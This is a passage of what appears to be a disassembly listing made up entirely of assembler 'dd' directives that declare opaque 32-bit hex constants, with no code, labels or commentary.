		dd 0E6FE00C8h, 89F36661h, 0A8A88D51h, 13038CACh, 789F0BE3h
		dd 30B7FB0Dh, 4F219508h, 0D3001384h, 9D2270A5h,	1891879Ah
		dd 0A1C90B32h, 0EC28CA78h, 9F22D4BEh, 76811889h, 46CBA155h
		dd 0CE8278C8h, 0BFE13A1h, 889F1887h, 1373854Eh,	2D305D01h
		dd 0BA740B0Ch, 0A5B04ECEh, 60CAC430h, 33478D8h,	896C9F7Bh
		dd 0C8C481C3h, 0B414CD2Ch, 48F4FF8Ah, 0EC480074h, 616BDE5Fh
		dd 18267581h, 51F1E4E1h, 0AA001358h, 0E81DE22Ch, 78520E78h
		dd 49DF0045h, 0A92D6A29h, 7C188B01h, 0B5B8369Ah, 2E5D00E3h
		dd 0F66321B1h, 0D4066EBFh, 732FCCFEh, 0E82962F8h, 0B4041DB2h
		dd 4478E8C1h, 0E5D9D801h, 28B441AFh, 8558C953h,	80864FB9h
		dd 0FDEB9C46h, 847539A1h, 0C66CD000h, 0D33847CEh, 72008E7Fh
		dd 0D7320816h, 59CC083h, 0A313DAAh, 0ACD850DBh,	0BD01F823h
		dd 91785B46h, 0B088D918h, 0A7460085h, 3E8D30B6h, 0B0C24364h
		dd 4360D069h, 3FB274h, 0F9FA824Fh, 810C1502h, 47080377h
		dd 6048C478h, 7CBB2017h, 84D8A27Ah, 8B608430h, 0B7FAE013h
		dd 4C96448Ch, 82138300h, 0FC30E6D2h, 0A090637Ah, 90238AF9h
		dd 1CFF135Eh, 48FD94F8h, 929E7D88h, 9C6A00BFh, 0F09E3745h
		dd 69876050h, 94AAEF41h, 0F41858h, 7EC7A696h, 12DAD2B6h
		dd 20EBF713h, 63D7A328h, 9C06AB71h, 3EC2D4B6h, 320F1C14h
		dd 986680E2h, 68AC5940h, 8BFC3154h, 26AA344h, 0B87E0770h
		dd 0B8C4CFFEh, 21825130h, 2C59D7h, 0AEE791B1h, 0C5C9A515h
		dd 0F5585101h, 0DCDA9CCBh, 1893A447h, 0CDD90674h, 18D28AA4h
		dd 0B5330502h, 68080E8Eh, 0C04F1828h, 0A5607F29h, 2909F1ECh
		dd 80476980h, 542897B5h, 147A0B53h, 8837DB8Dh, 0A4DAFA87h
		dd 64E859D0h, 0C0624B0h, 48369F88h, 0A4009608h,	8EBCAABEh
		dd 0D16091B3h, 6118CBh,	0B9665516h, 8428E270h, 0A17958C9h
		dd 800F3268h, 0C49047D2h
		dd 3B1860C8h, 0C457014Ah, 0E29C7422h, 0F1AC43C8h, 2131B6B9h
		dd 0A2BC3390h, 0C9AB3046h, 248DD606h, 948136Eh,	0FB529CDFh
		dd 18868C11h, 0E2133E81h, 70BC67A6h, 130F994Ah,	4569E0DFh
		dd 0C4993DC2h, 8C82B030h, 0BC325504h, 3A6257B0h, 325DC620h
		dd 7B811F68h, 19B09AABh, 28261060h, 0A833B829h,	2B18CAD1h
		dd 0E5373500h, 0DAF5A8FCh, 0AA24140Bh, 0D304800Eh, 0CF1684h
		dd 67D8FE8Ch, 10CD8273h, 0C0BFD6E5h, 0A47F4242h, 6025C02h
		dd 0C80A2C0Bh, 3384CB48h, 0D70F866h, 0A83E76E1h, 8101C18h
		dd 99005517h, 2F2883B6h, 1F1742BFh, 9422414Ch, 46BE30FBh
		dd 0A9785210h, 468689E0h, 13CD7700h, 0E1A211F5h, 0EA64064h
		dd 0EFF0CC64h, 23D82E34h, 9D9F393Fh, 606F58D3h,	5B009E69h
		dd 8EB69381h, 924D1BFCh, 534E0040h, 34700218h, 0B50219C0h
		dd 0B4905128h, 76FC6029h, 7ACA8035h, 0B5E4531Fh, 84940644h
		dd 0CCB210A3h, 5FC430h,	269FC911h, 0CE6E9BBCh, 89454F7Eh
		dd 18AE7888h, 0D90C9C0Dh, 30858402h, 0BB123256h, 5C385FB0h
		dd 325E00C7h, 0C0F9D563h, 3100A8DFh, 0A396D03Dh, 5124E272h
		dd 6441B8BFh, 34205E77h, 0DC9C94F3h, 0F6EE9A01h, 0E2DE2E81h
		dd 0BDC42022h, 0E7FE0056h, 0FC7C075Fh, 58A8B20Ch, 818F34B1h
		dd 6D642097h, 0C740B2A4h, 0D8F004C9h, 0B6B73EC5h, 0D61AE09Ch
		dd 0FE42C408h, 8528C23Dh, 11138830h, 88BF0BFFh,	80338B9Ah
		dd 0C1829480h, 8800C717h, 0C2D9ABA7h, 5170EA7Ah, 32ECA48Eh
		dd 17447AF7h, 5B6A0DAh,	0F52A72Fh, 804C7CDCh, 83605129h
		dd 9622BE59h, 92AC00B5h, 0B94C6595h, 3E006301h,	0DEE826Bh
		dd 6044C278h, 1CE238A2h, 32542D85h, 0DC0774F0h,	14C7ED68h
		dd 8EE7C400h, 0CDFB1DD1h, 0B984478Bh, 0B9947AEAh, 0DA67E481h
		dd 60C1C0BDh, 4305CB70h, 1C4244F1h, 183AC416h, 0E60F4123h
		dd 0E1FA0FCh, 7DE423BCh, 219090EAh, 0F7115A28h,	5646BA80h
		dd 878978h, 844682B5h, 79035D53h, 3B1F9FB6h, 0B9E0D0D9h
		dd 0AB26013Fh, 17EB3132h, 4AC43207h, 8C77082Fh,	4820AB24h
		dd 0B0C94204h, 45444A4h, 14FAFB8Eh, 995C8631h, 58E27A0Ah
		dd 0E026C4ABh, 265D808h, 5C2CD27Ch, 9F32B00h, 34121AF0h
		dd 8C4739F4h, 0C060CF44h, 0FE319438h, 4816F43Eh, 40503420h
		dd 0D37842ADh, 0B4B3252Bh, 0D64CACh, 98863BACh,	4ABB4D5Eh
		dd 0A26F7305h, 689B4FEFh, 0A7D516C0h, 9409E36Bh, 805A0704h
		dd 29D388B8h, 8F502ADEh, 1B3F0EC0h, 902005BDh, 3A7288BEh
		dd 9FBF1005h, 0C4202D82h, 81275Eh, 3F2C6575h, 0F7334A80h
		dd 74DC6001h, 5C09AB31h, 0E1245826h, 9473397Dh,	0F9945870h
		dd 0CC0790FCh, 1C73EA68h, 0D581FFE0h, 0C38800C8h, 0FEA37A07h
		dd 81C10BD7h, 580836B0h, 0A870B043h, 2EBF3186h,	76A02F8Dh
		dd 430FC446h, 0D1E2B77Bh, 18406E5Dh, 9113C21Eh,	88247406h
		dd 48F2CCB2h, 13CBCA30h, 9A5D69Ch, 0F0001C98h, 4C185C5Fh
		dd 7D8D29C0h, 91C9C1h, 0B48B30FBh, 2E439608h, 10F10A60h
		dd 24AB425Bh, 838521Fh,	94BC900Ch, 8469CCh, 13A88D21h
		dd 0C0352CFCh, 1C7C0339h, 711FC6D2h, 0E84C288Fh, 7EDE7AC9h
		dd 0E972013Ch, 0EEBCCE53h, 52A092DAh, 88169C12h, 6602C87Bh
		dd 63BB6261h, 62DEA9C1h, 179C4214h, 1FEEA465h, 0E0F024BCh
		dd 4BE23932h, 327C4958h, 902D19EAh, 1D07E384h, 647614B9h
		dd 99A8CCF0h, 3252048Ch, 627FB0BFh, 5ACB203Dh, 24908932h
		dd 259CC20h, 0DF4BD569h, 0ECCC9D08h, 465670B4h,	609C003Ah
		dd 10854911h, 6AC8321Fh, 0F4C18E60h, 0F2706265h, 3C443095h
		dd 0F062F500h, 29425C64h, 9310806Ch, 790EB080h,	68D6A0h
		dd 0D1C18890h, 52012FB1h, 5328BE99h, 0A022D0FEh, 0E4368E04h
		dd 86780971h, 99489815h, 60FC4410h, 26574681h, 705CB178h
		dd 460089B4h, 0D6571C45h, 3F30D1F0h, 0CA887349h, 0F611584Fh
		dd 5546BB80h, 0FC9C8178h, 83B258h, 77BA6C46h, 0D278FC8Eh
		dd 31A5842Dh, 0BEE40BD8h, 0E2EE02E1h, 26DF98AEh, 6C4E28ECh
		dd 519E2420h, 69710015h, 0BA77F2FDh, 17067B1Ch,	0C3EB0E1Ah
		dd 0A8FE79h, 0AB5C80AAh, 44D205DDh, 0C7006C71h,	90C21A33h
		dd 4806BCCDh, 0D0C060D1h, 2E0E8E5Bh, 20791891h,	41E8CC18h
		dd 64EAF716h, 0E0088h, 0A594C240h, 0D82AF867h, 0D3778400h
		dd 17187532h, 24849EECh, 0D9A05094h, 8CAF6024h,	4674E448h
		dd 5BDD0BCCh, 329383DFh, 60DAD8D1h, 0F58E2CB6h,	93B808B8h
		dd 280EB402h, 8D0085Ah,	0B9039848h, 90828343h, 6CAECD5h
		dd 2DA08126h, 0C303F938h, 0FB8F256Dh, 0F611D071h, 78E000B9h
		dd 34EB926Eh, 430254FEh, 55352BB5h, 9CD44163h, 0BCDF9010h
		dd 81A49627h, 14E22C1Ch, 293C6868h, 3CBE7C8Dh, 5408E10h
		dd 6C2992E8h, 11B01036h, 37692E27h, 0F7A000C1h,	52A94Fh
		dd 5502D826h, 3D9DFBA1h, 7D167813h, 9C017864h, 0D9636FAh
		dd 87238C76h, 0E1138E01h, 94186F0Bh, 864988h, 87D36313h
		dd 33855AC9h, 648D5013h, 0B8237888h, 8494243Ch,	0CF467CE0h
		dd 0C87C7B05h, 4905EFB2h, 0A0F29B04h, 13BDF900h, 1623A247h
		dd 9EE98400h, 0BE36BA02h, 5A2B2286h, 0C8B47492h, 1D313FD6h
		dd 0E85984C8h, 18C60600h, 0EEF159F4h, 0BC2CAA5Ch, 9E718C48h
		dd 7F40F402h, 0EDB28E84h, 7AC0EFFCh, 11FB9549h,	7385BF10h
		dd 0BA13010h, 218C1EB0h, 9591AC4h, 24F22063h, 386DF030h
		dd 2CBE1E9Bh, 0CE476380h, 8AE7407h, 5A1144B9h, 81CDE383h
		dd 7C31DD92h, 0F8FB9611h, 66076AE2h, 8EB72813h,	0F7854391h
		dd 1267AE8h, 0BC8DA331h, 80C2EBF9h, 22517659h, 0F49140Eh
		dd 6CEC57BBh, 0E1690DE2h, 9408B180h, 0D80A03EEh, 84802CC1h
		dd 467CC02Ch, 0BACD39C6h, 0FEF40B28h, 105410D3h, 9470F23Fh
		dd 98518FA4h, 0B9E50090h, 0D86FD9F6h, 0C77089h,	8160CC4Dh
		dd 446D2E9Eh, 9BF25201h, 32D624A2h, 63BF9C42h, 3B25A958h
		dd 0A034CA00h, 5FB38680h, 0BC6EF4h, 60D796C4h, 301BBBA6h
		dd 5241C5EBh, 5C074105h, 0D9B9EA5Bh, 0CEDDB4E0h, 44330E72h
		dd 0B8809B81h, 0F9DE7A69h, 142F1C4Bh, 943DD923h, 3EBCC871h
		dd 0C4B0ABD8h, 0F035A5h, 0F344CE1h, 5C00740Ah, 0CC2CF781h
		dd 2844F158h, 0ADA40DF2h, 0D1FAE0C4h, 4C2D95A4h, 831C844Ah
		dd 0FD138A60h, 80998FFAh, 13824DC0h, 59D61CD0h,	5CE4CBh
		dd 0EA052A28h, 1C9E76DFh, 96465Eh, 4F8EC960h, 905F213Ch
		dd 18F5198Ch, 0D0DEB952h, 2700BA1Ch, 0A23AA8EAh, 0B6CAA5Eh
		dd 9C0F412Ch, 68CDC02Bh, 319D30C1h, 2CE6028Bh, 335B0C10h
		dd 10CC6800h, 3A961F3Eh, 0B44558AEh, 83D01A12h,	0A18E18D0h
		dd 39082C33h, 5E1CB8E4h, 0C99F0B58h, 0D06884D5h, 10B2F6DCh
		dd 8BA4916h, 7BC8248Eh,	70505EC7h, 4B0629CBh, 5C0C8137h
		dd 5C2F029Bh, 6401D6D4h, 0B6C6EEBAh, 2070AAC1h,	88AD4004h
		dd 55F3EC13h, 0CDC8D48Eh, 4B06BDC0h, 509505EEh,	880A3243h
		dd 7EF8E8C8h, 0AD748118h, 2824FE1h, 0C8E272FDh,	0BCD2C4E1h
		dd 0CB216B60h, 0D773EB58h, 23642F91h, 59A2CC4h,	0E06284CBh
		dd 7414C9CCh, 61D85296h, 8453F359h, 229858EAh, 185ABBEBh
		dd 47E84Fh, 29D77FDh, 9F01004Eh, 0D0C52D5Ah, 7A1D66CFh
		dd 0F94191CEh, 1E328B17h, 3866B421h, 23602B5Fh,	0CE150099h
		dd 3E8E7FCBh, 29781049h, 0CBEFC7Ch, 187B9436h, 42740470h
		dd 82DFEEF2h, 51308608h
		dd 0B0801632h, 0CA7C3877h, 0A9325900h, 96E5FDCBh, 4230978h
		dd 385922ECh, 2659D800h, 7F44F8Dh, 8AC6BAE8h, 4C0A002Bh
		dd 0A251FA84h, 9F32D19Ch, 0D8A8084Ch, 0F87880BBh, 970A0006h
		dd 0DE269002h, 0CD0DEFABh, 68F4EEA4h, 865E8820h, 49711C99h
		dd 6386CD19h, 31007E68h, 67A736D5h, 0B9C2F8h, 81D905E7h
		dd 284E652Ch, 0D4B05706h, 3869FFEBh, 0B280A064h, 0A1D6D83Ah
		dd 0CE01BCDCh, 5AD58EB1h, 33F08D03h, 5978135Ch,	23B83A6Dh
		dd 8DB20795h, 4416A063h, 327DA9AAh, 0EACC1197h,	0B000A6C9h
		dd 0C89ED43Eh, 6791806h, 78A89BE8h, 620EE1DFh, 0C12C8F3Dh
		dd 124E7CABh, 9C53B440h, 1884957Ah, 83CC873Ch, 1000CD6Eh
		dd 8EB663EAh, 31E27AF1h, 0AD98BC80h, 0A2846362h, 8ECF30C6h
		dd 69EAA101h, 8123382Eh, 9A48173Bh, 0B548C0F0h,	4717DDAh
		dd 40EAED4Ah, 80CCAC31h, 9C7B4D28h, 1F9A0041h, 0E01AE601h
		dd 0E44B4782h, 0C45E78C8h, 0A914D8h, 0CC3205E3h, 0C0EA4A9Ch
		dd 591BB3ACh, 440EB009h, 2768E07Eh, 5E389EA6h, 871C9046h
		dd 7FDC0023h, 3059BEA9h, 0BA2E6A00h, 6E0BA5FEh,	54824D84h
		dd 87865C00h, 0BE8E51F8h, 0B6F0009Dh, 27D6C988h, 0D84442F3h
		dd 0E5277003h, 0E058C8CEh, 0D878641Fh, 856CD818h, 0C4739980h
		dd 950810h, 9FFE63ABh, 60E80F40h, 0A1D2844Bh, 564CC4BCh
		dd 708C364Eh, 98B6862Dh, 6484656h, 0B68473E4h, 0F80B54B6h
		dd 0E8361A8Dh, 1076A84Ah, 0F0BA2C47h, 77DC6780h, 3BB62498h
		dd 0AC9C0DA6h, 417C9F15h, 302397DEh, 42E2FD7Ah,	445EABD8h
		dd 17C465Ch, 0FCA73349h, 0B3E8546h, 8009EE90h, 6A0E5C78h
		dd 89539221h, 274500E6h, 0A1F6D7E4h, 142CABD4h,	0B8C47B8h
		dd 0CEFD2414h, 5E9CE882h, 5004B84Bh, 0F0B9B150h, 3A240501h
		dd 9DC0416Dh, 843E2A0Ah, 4C043B23h, 1CE80DF1h, 9AE8544Ch
		dd 0EBA3008Ch, 322BB463h, 50301C33h, 0C7BF219Dh, 74890076h
		dd 3D22D3C4h, 0DB0394CFh, 67D4754Fh, 288DB10Ah,	621624C8h
		dd 601BD06Eh, 111598E1h, 0B180332Ch, 0C2D446D0h, 25007CE4h
		dd 78C927D2h, 2C052ED1h, 148BEE1h, 8684CC08h, 243012D5h
		dd 0C7233F45h, 237AA300h, 5B681F41h, 85585E58h,	81BBFB80h
		dd 74F8D0h, 54AF13DAh, 0D28084h, 5DBC956Dh, 9685E589h
		dd 30A4004h, 0CA4FBB8h,	9C23E99Ah, 953049E2h, 0F080B5Fh
		dd 124A18h, 703283Dh, 1DB38EBEh, 4C673E0h, 850546CBh, 885CCB68h
		dd 0C191C448h, 7051D148h, 44370F89h, 0D203A84Bh, 0BCB2FCC3h
		dd 0AB30C7F2h, 40D35EFEh, 0B9BE8314h, 8B13D022h, 0BCE0E674h
		dd 77EBB0CBh, 7AFF25DDh, 0B692FCE7h, 0C4E248A3h, 0B0B6A130h
		dd 0EEFD147Ch, 0C45330D9h, 5C3020A2h, 3C0A02BBh, 24F14515h
		dd 51691C74h, 184159ECh, 7789072Bh, 10EFB2B7h, 327A2259h
		dd 97600D5Ch, 108EE88Ch, 4B43EC36h, 22B08CCh, 0BC6DEB05h
		dd 0A0F8DF8Eh, 50E27839h, 175F310h, 0E5048B04h,	18E58E4Fh
		dd 412E5020h, 803C6835h, 2CCFD503h, 4D34031Fh, 0DDD33EF0h
		dd 0A2D46588h, 0B888C562h, 163C0A4Bh, 0A2AC855Eh, 3125F2ECh
		dd 5357C447h, 82048990h, 0FC8D233Dh, 0E0726C80h, 2D6747Ch
		dd 0F73CE8C1h, 8320F4EBh, 58D91CF3h, 3210F05Fh,	708B4FC9h
		dd 23C097C8h, 38186F26h, 0C9803ECEh, 0E1DA6D47h, 0A0A88664h
		dd 0EB5F6031h, 9C32A06Eh, 5B318038h, 4704E1F2h,	88211C48h
		dd 320E43C8h, 6342943Ch, 0D216B0FDh, 9FB8A169h,	84238F70h
		dd 0FD30C8A2h, 4DA601A0h, 9C638DB8h, 0CCE46556h, 0A50054E6h
		dd 252DA151h, 0EEDFEEF4h, 9294A885h, 0D1A7007Ch, 1ECC3FBCh
		dd 455F6EE2h, 526D3020h, 8B5B07FFh, 0A09358C2h,	6AB4CDEEh
		dd 0E060C06Fh, 57339E69h, 0AF16257Ah, 808A20E8h, 76321703h
		dd 0D00D0AC0h, 1FE8A1F8h, 4C7F6F9Ch, 0F3C1F7E5h, 6A43CB03h
		dd 90C53770h, 50D0DA7Ch, 12F9D073h, 978F70Bh, 0C400E284h
		dd 14624CABh, 0EC2ECC91h, 19B465Eh, 604E8470h, 28D8FCA6h
		dd 2131019Ch, 785A4557h, 99C1C2h, 0EA7407E2h, 0C99F265Fh
		dd 0FAA19DA4h, 0A934C100h, 15726AD3h, 0C02F0B4Fh, 5D079923h
		dd 0B842FB90h, 127C5E43h, 0C8D88B1Ch, 710CC3C4h, 0DD2E84C0h
		dd 90209891h, 9150979Dh, 0A9CF8199h, 50206667h,	4C6C4C5Ch
		dd 128F9485h, 0C870CB8Ch, 0FAA5C021h, 102EE7Dh,	0C1CD16B3h
		dd 7454763Ch, 8002C846h, 0AB1BD8C0h, 0EA1EA47Eh, 2F11320h
		dd 95600B7h, 0C2668B20h, 7B8118C4h, 5B2D34F4h, 51E8C3A6h
		dd 5724A17Ch, 0F504DD70h, 0EC8E56C4h, 1FC02488h, 98A8F092h
		dd 0B5F800FCh, 7A6CD969h, 8B5A50C2h, 0FBEB2CC1h, 0BB8EC980h
		dd 1B2631A3h, 903F202Ch, 0D8F40A78h, 0BCE848B9h, 545A10B4h
		dd 0EB16D42Ch, 48089A03h, 5AE740F2h, 50770A85h,	2080156Ah
		dd 7D974676h, 82A8D00h,	0ACA2D2E6h, 216C05AAh, 82C0BDCEh
		dd 0CC210B48h, 8FDBBA0h, 0B9801C78h, 0B216FD74h, 0FF043200h
		dd 27887CF7h, 4FCF0786h, 61BC9DBBh, 20DD8736h, 8DF6F320h
		dd 6AD0A0B5h, 300C3421h, 0F051B8EBh, 9451BCE1h,	480619Ch
		dd 1888F41Ch, 9DB56974h, 80409194h, 0A936C2DAh,	96210091h
		dd 8B18495Bh, 68EBE85Fh, 74499D40h, 8A0F8B6h, 0A212A4D1h
		dd 71F8EB0Dh, 0CBB8ECh,	0E1AF5BEDh, 66D5BA5Eh, 0FDB2F176h
		dd 0C83E7C2Dh, 0CD4B5D0h, 833CE27Ah, 0CD285BD8h, 164584F7h
		dd 2EDB06CCh, 161D865Dh, 4BE4B2BCh, 0A301886Bh,	0C4FD83B9h
		dd 4397FC23h, 87606C5Dh, 74C41F16h, 2CE1D801h, 0E0280285h
		dd 8007C644h, 0E89CB04Fh, 567C7384h, 0C405C4F8h, 22FE0732h
		dd 0AB204BC8h, 0F5676Bh, 66ADBF91h, 835C5876h, 0F1F8271h
		dd 81C084C1h, 0F88EB6A0h, 0B9BC278Dh, 9B91F817h, 3472FB80h
		dd 0D909FC51h, 1F06D418h, 807D1108h, 2EED6A6Dh,	27517E21h
		dd 98108EF0h, 3B00DC1Bh, 888932B6h, 0A5E0C5h, 0C674FB6Ch
		dd 36832AEEh, 0E0E4812Eh, 0D89DEA1Dh, 864FE303h, 0E8B11773h
		dd 8140DB60h, 0F48EB737h, 0DB54137Ah, 80BF9C88h, 99FF2A1Ah
		dd 2232E69Dh, 0B5BDF308h, 807C1120h, 895DA24Dh,	0A46D13D7h
		dd 0E4DC4BC6h, 0DD88806Bh, 1607AF94h, 23339A0h,	8D5D28F0h
		dd 0C2BC10CDh, 8E5304DEh, 0BCF846CBh, 5A8C98BCh, 0D42427E2h
		dd 70803173h, 9A4F6840h, 100BBFF1h, 0A3DB5C90h,	55F7630Bh
		dd 1CC45B50h, 785C4227h, 0C8CD6D41h, 0EDF9A7E0h, 2D08967Ch
		dd 813C4066h, 3E8E092Eh, 0B568D04Ch, 3C9128B5h,	729F6180h
		dd 6A483674h, 60E426D0h, 286E2288h, 0DC60BE4Ch,	0FAFC0E00h
		dd 2C05486Eh, 503361FEh, 3B66D738h, 0BD000C6Bh,	0A38F7DBCh
		dd 0D30E62B4h, 85FE5305h, 0A09072E7h, 0BCAB0B3Ah, 0D809D650h
		dd 0F9899FB3h, 1899F1E4h, 0F78C0056h, 69CC8D19h, 0C401AAD5h
		dd 88501634h, 0ACC9C278h, 0F900442Ch, 0F088315h, 809D48ECh
		dd 73616B98h, 0C2CE5E74h, 0BCE7BC58h, 16602544h, 0FE005E3Ch
		dd 87E7CAEh, 350F10D5h,	2686FCCh, 0FB043164h, 7C7428EAh
		dd 31A200DCh, 7D6429AEh, 885B804Ah, 40961888h, 485AD30Dh
		dd 9BF85881h, 0FEDB1E00h, 5B4FD63Eh, 25C8A88Eh,	5B6E16C0h
		dd 0B8F17F41h, 0FB85AEAh, 0B36BDE44h, 0CF788C25h, 0C598C868h
		dd 0DC2CC038h, 7CBEF091h, 0C1C05C4Eh, 312B5C4Dh, 0FD100042h
		dd 40CC32A5h, 4C5DA7B7h, 1D619ACh, 4C6950B1h, 3A37007Fh
		dd 1694B96Ah, 0F21F5ED7h, 8125ECE9h, 54B3EB3Ch,	3B0F077h
		dd 8D290E37h
		dd 0CBD1E8B3h, 40B1118h, 0DAF16C6Eh, 0D858A030h, 9A4B98Fh
		dd 20007DE4h, 0B00BB80Eh, 0CAC454A5h, 1A25B460h, 0C802D0FCh
		dd 330492E7h, 0CFC4EDABh, 0BC33A180h, 0C0B87665h, 9CCBC317h
		dd 4FF3B0B4h, 4E84D2Ch,	0BE3B4239h, 0DCF3C8ABh,	6DBF70h
		dd 3CB9FD4Ah, 368F3A2Eh, 8C4B84Ah, 8E3E48F3h, 1969BC19h
		dd 7B2BF2E9h, 0FB7A7020h, 8919A800h, 2D868E69h,	0F921C00Fh
		dd 0BEA38259h, 2FA42405h, 88A50EBh, 3EB82048h, 1BD5008Ch
		dd 183CC297h, 70B010D0h, 317344h, 78798E28h, 5823E043h
		dd 0C461AE2Fh, 2559008Ch, 0D068945Bh, 0C50703CBh, 0E499FBEDh
		dd 44C28004h, 4D98ABF8h, 0FEA7C144h, 502CE2CBh,	0DE654B48h
		dd 8E94824Ch, 807906h, 0DBFBA3E7h, 29147BB2h, 11803FE8h
		dd 0C488F87h, 2771D38h,	3EC1D331h, 0B8DCBE6Bh, 0AB025705h
		dd 9A8A487h, 90B54Fh, 279F7181h, 30E19F18h, 0F0605E10h
		dd 509797E3h, 0C0807A91h, 33A6034Ch, 592A1702h,	252CE9A2h
		dd 0F2A0A2E2h, 61D43094h, 0F7BB7409h, 93D048EBh, 7EE60033h
		dd 1E4CE128h, 8A00D3ACh, 8B8213F4h, 27DC85EAh, 0EC17F142h
		dd 1180C491h, 3F06861Dh, 0E068AC27h, 5B8EB6F0h,	1E8098E2h
		dd 17738020h, 0DA2E167Ah, 0B63AC0BCh, 0FBCB6996h, 0B2D34868h
		dd 307BF230h, 2E7195EBh, 4405C00h, 53D493C2h, 401B4B52h
		dd 68733968h, 3300AACEh, 1FB992A9h, 7DBC823Ah, 162C1728h
		dd 0A778A737h, 7C849CB1h, 0BF177E4h, 45FC6E11h,	32C2C002h
		dd 743BE80Dh, 0F46BAEA4h, 5A9CCE09h, 5C5AC8D0h,	0B030C8h
		dd 6D8F0E1Dh, 0EE018943h, 0C17FF005h, 0E4A12952h, 23942F2Fh
		dd 0F34013Ch, 7B8224ABh, 9C6D0801h, 7468D61Ah, 0A0B8E6D6h
		dd 0FED8457Eh, 2E2527DAh, 10F420C1h, 90EB0EB4h,	74509E18h
		dd 70CD46h, 898578D7h, 3932AB9Fh, 49D3EE00h, 0F9B4838Fh
		dd 133C905Eh, 0B2A0814Fh, 6B110080h, 40C051FDh,	0F94FE03h
		dd 0FFBF5D3Ch, 0C14318C6h, 31A14D00h, 0D148FA78h, 0C2472406h
		dd 0DAE100E4h, 0ABDDB705h, 7CC4524Bh, 9BBC28A8h, 9947058Ch
		dd 0C0CFF655h, 98E0C28Bh, 0EB0B20B1h, 0D1E051AAh, 5EE4189Fh
		dd 0AB18C2C8h, 0D65C1F22h, 0DE202C6Ch, 0DCFE8000h, 0A7B467DEh
		dd 4C070B66h, 1451A47Bh, 4F187AD9h, 62274B01h, 5A39E585h
		dd 0B4A8E2FCh, 0F1823A20h, 9E8CCE02h, 74C02CEBh, 0DC9136B2h
		dd 8187CF1h, 0FA680D02h, 48312DDAh, 3B2504h, 0F636A824h
		dd 0C5710FC2h, 93429401h, 0B08587DAh, 9652ACF4h, 0D32D0514h
		dd 0C068B289h, 56D98F06h, 203098F6h, 50983D42h,	0C7E10527h
		dd 39809194h, 4006AF55h, 294C058Ch, 0D1743D82h,	3941840h
		dd 44C43D97h, 0EDD8A2D4h, 0DB76019Eh, 6875BF5Bh, 50C0049Ah
		dd 0F313BFAh, 74494F69h, 0D100DC90h, 7CBD8E93h,	40CCE1D8h
		dd 360B86A6h, 6B3B534Fh, 1CA3E438h, 0F5309BE2h,	5B5E025Dh
		dd 87182E81h, 9C1484FAh, 2B8C322h, 0A5DA36F4h, 8E0858Dh
		dd 0BBA5A8ADh, 17885DB2h, 7196B3C0h, 21E9308Bh,	870F5219h
		dd 890F0660h, 7919699Dh, 0C75E0212h, 16029C85h,	101108Eh
		dd 8721718Dh, 0FA8B6622h, 145D9D81h, 0E892A86Fh, 0C1008C18h
		dd 540FB874h, 72FF2381h, 0FC6EE7FEh, 8C17B855h,	63BB2F00h
		dd 89BD8B19h, 8CA9C50Fh, 5BF6BADBh, 0AF2A07B0h,	1D0BD6FCh
		dd 77125005h, 4C843E60h, 81662BC0h, 1FD3AEEEh, 0F57995FFh
		dd 6DB3BE76h, 57008C21h, 0F78B505Fh, 24042D89h,	114297DFh
		dd 0FD891Ah, 77383E49h,	0E681019Ch, 458A1AE5h, 5671C4BFh
		dd 35E9271Ah, 1870257h,	0B2B00633h, 0AC7ABF06h,	10C70E6h
		dd 71E49743h, 50A9BD29h, 0D8B60FEFh, 5C2674B7h,	0E2311446h
		dd 2308572h, 710F80E8h,	0D7F782h, 6A70A5FEh, 24355E59h
		dd 63C5AF00h, 71D07543h, 143FC8BDh, 7CBA5E0Eh, 891DF52Dh
		dd 82801811h, 0F0735A8Ch, 0DBEFECC3h, 88EDC8Bh,	4EC11488h
		dd 66FCE8C1h, 2BE206F7h, 0A81AB1BDh, 30CD8ECh, 102F95B5h
		dd 0F18B0093h, 0C932BE50h, 89F21881h, 82E115FEh, 61B5FF20h
		dd 0C49C4708h, 1626017h, 89A60684h, 570C41B5h, 24759510h
		dd 1DA87190h, 0EDDB2C8Ch, 11680h, 0B4BB8292h, 2392B0F8h
		dd 0A2196520h, 110E9D1Dh, 2EFB801Dh, 9ABFDF1h, 0E6189387h
		dd 3985EA01h, 445AA815h, 1FE110C4h, 0F613C00h, 163CF83h
		dd 0FAB52B46h, 7952462Eh, 272D358Bh, 2163512h, 0AD13C7CBh
		dd 0ED75F78Bh, 4B76604Bh, 731506EDh, 94FD2EFCh,	2C317325h
		dd 3465812Bh, 5C675802h, 0C1631544h, 5087E63Eh,	6237BF5Fh
		dd 88C360E2h, 0EAFF5B50h, 0AB28E06Bh, 5FCF0687h, 1D07B9ACh
		dd 0FFB70F1Ch, 811182DBh, 0F230C183h, 23520B5h,	0FD93B06h
		dd 0B7811086h, 0F4D6C1F4h, 287E742Bh, 26971AD7h, 45CD03E9h
		dd 0BFB6BFD9h, 9A42E3B0h, 0A6A96139h, 31085D06h, 0C1F60913h
		dd 4A94D1A4h, 274088E9h, 3CE51Ah, 0CF711286h, 29112B5Dh
		dd 6A935900h, 60D05E3Ah, 14E59B09h, 0D7019F5Bh,	0C32BC10Bh
		dd 5946060h, 0E07F07EDh, 0E946E0BBh, 51E08B0Bh,	0F3010C3Bh
		dd 61B2BC50h, 0A1CF5AD1h, 0B65343Dh, 4D44AB03h,	22BC9C31h
		dd 0B1D03512h, 1881840Bh, 0A8598DE2h, 0A434E985h, 220E4481h
		dd 0F3DDA400h, 6C4490B3h, 48CE4A1h, 8BCC1A9Ch, 0CF46DBC0h
		dd 0D10C8478h, 229B687h, 0E1FFBF5Ah, 3C64A121h,	6F190FFBh
		dd 4D490951h, 5270972Ch, 5EF62CC1h, 8932BD81h, 0BF53D024h
		dd 93538514h, 148C16FCh, 0B71558B7h, 85FF8870h,	8EFF68D6h
		dd 0C01B8829h, 0FCD87FDFh, 0D14A5D09h, 3158828Dh, 26EC672Ah
		dd 7D64D632h, 0CE5F0634h, 0B8FCA6E4h, 5F5EFC07h, 4B31E60h
		dd 2EC1FBh, 8D8B5261h, 9A1B59E1h, 4805B179h, 1B465C9Dh
		dd 0DAC20372h, 7F571CF8h, 0B1B28184h, 6790020Eh, 601844FFh
		dd 2DCC7E2Ah, 0AAFD8719h, 0DF801D43h, 0A5594367h, 10C31C11h
		dd 0D1CF6985h, 0FF181Ah, 22E99E4Ch, 0BE667A64h,	0BB46914h
		dd 12052098h, 1CF55060h, 580B222Eh, 9D61C78Bh, 801B11C7h
		dd 462EB6F2h, 27CA0605h, 210AE93Fh, 0BA7BF00h, 80EA18C7h
		dd 0ADD6241Fh, 0D54915D1h, 0C1B8735Dh, 34D29513h, 649A604h
